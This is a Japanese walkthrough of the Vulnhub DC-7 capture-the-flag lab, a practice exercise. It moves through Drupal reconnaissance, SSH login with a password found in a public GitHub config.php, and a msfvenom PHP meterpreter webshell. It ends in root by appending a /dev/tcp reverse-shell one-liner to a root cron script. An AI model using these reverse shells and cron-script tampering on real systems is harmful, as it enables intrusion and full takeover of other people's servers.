ツールと脆弱性情報#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- droopescan
- cron ジョブ特権昇格
** 一部ツールの使い方と詳細説明はこのシリーズの第一篇の記事を参照してください:bossplayersCTF:1-Vulnhub ウォークスルー **
0x00 情報収集#
ターゲット機のスキャン情報#
netdiscoverの-rパラメータで192.168.1.0/16をスキャンした結果は以下の通り:

nmapでホストとポート情報をスキャン:
nmap -sS -A -n -T4 -p- 192.168.1.8

robots.txtには特に利用できるものはなく、ホームページの最下部にはPowered by Drupalと書かれている。
パスのスキャン#
dirbでパスをスキャン:
dirb http://192.168.1.8

dirsearch
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8

gobuster
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt

0x01 脆弱性スキャン#
一通りディレクトリを見て回ったが、特に目立ったものはなく、user/login画面にも弱いパスワードは見当たらなかった:

さらに、バックエンドでは 5 回のログイン失敗で一時的にロックされる制限があり、ウェブサイトのフレームワークとテンプレートから攻めるしかない。
Github上にはDrupal向けの脆弱性スキャンツールとしてdroopescanとdrupwnがある。
しかし後者は使いにくいため紹介はしない。
git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32

しかし脆弱性データベースにはスキャン結果のバージョンが含まれていなかった:

cms自体の脆弱性は利用できないので、作者自身を攻撃することにした::quyin:OK::
0x01 一般アカウントの取得#
ホームページの下部にはPowered by Drupalの他に、作者の名前@DC7USERがあり、検索したところtwitterアカウントであることがわかった:

また、ホームページには大きなgithubリンクがあり、作者は一つのリポジトリstaffdbしか持っていなかった。
config.phpにはアカウントのパスワードとデータベース名が明記されている:

$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
そこでsshでログインした:ssh dc7user@192.168.1.9、dc7userのshellを取得:

0x02 shell の取得#
shellを取得したら、まずは現在のディレクトリにどんなファイルがあるか確認する:

mboxが目立つので、確認してみる:

メールの内容はバックアップのログで、呼び出されているスクリプトは/opt/scripts/backups.shである。
どうやらroot権限で実行されているようだ。もし現在のユーザーがスクリプトの書き込み権限を持っていれば、特権昇格が可能である。
調べたところ、www-dataとrootユーザーのみが変更できる内容で、Drupalサイトを管理するためのshellである。

その中に私の注意を引く一文があった:
drush sql-dump --result-file=/home/dc7user/backups/website.sql
調べたところ、このdrushコマンドはパスワードを変更するために使用できる:
drush user-password USERNAME --password="SOMEPASSWORD"
そこでadminのパスワードを変更しようとしたが、特定のディレクトリ(例:/var/www/html)に移動しないと変更できない:

管理者アカウントを取得した後、ウェブサイトにログインしてshellをリバウンドさせる。

セキュリティ上の理由から、PHP FilterはDrupalコアから削除されている。
その後、モジュールとして存在し、手動でダウンロードしてインストールすることができる:

ウェブサイトのモジュールインストール画面/admin/modulesを開く:


モジュールphpを検索し、先ほどインストールしたPHPを選択して、installをクリックしてモジュールを起動:

モジュールがインストールされたら、脆弱性を利用し始めることができる。Contentで新しいBasic pageを作成し、
Titleにページの名前webshellを入力し、BodyにリバウンドshellのPHPコードを入れる。
ここではmsfvenomで生成したphp shellを使用する:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw
Text formatの位置はPHP codeを選択:

完了したら、操作せずにkaliでポートをリッスンする。
msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp

最後にPreviewボタンをクリックする。最初は成功しないかもしれないので、Previewを終了して再度試みればよい:

取得したshellはwww-rootユーザーのものである:

0x03 backups.sh で root 権限を取得#
以前のメールにあったバックアップの cron ジョブで使用されるスクリプト/opt/scripts/backups.shはrootとwww-dataユーザーのみが変更できる。
したがって次は、リバウンドshellのコードをbackups.shスクリプトに追加することになる。
(cron ジョブはroot権限で実行されるため、リバウンドしてくるshellもrootユーザーになる)
その後、kaliで該当ポートをリッスンし、cron ジョブの実行を待つ:
シェルを使ってコマンドラインに入る
/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
別の端末で指定ポートをリッスン:nc -lvp 3456
リバウンドシェルコードをbackups.shに書き込む:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh

ターゲット機が定期的なタスクを実行するのを待つことで、rootのshellを取得できる:

成功裏にflagを取得:

この記事は終わりです。
参考記事: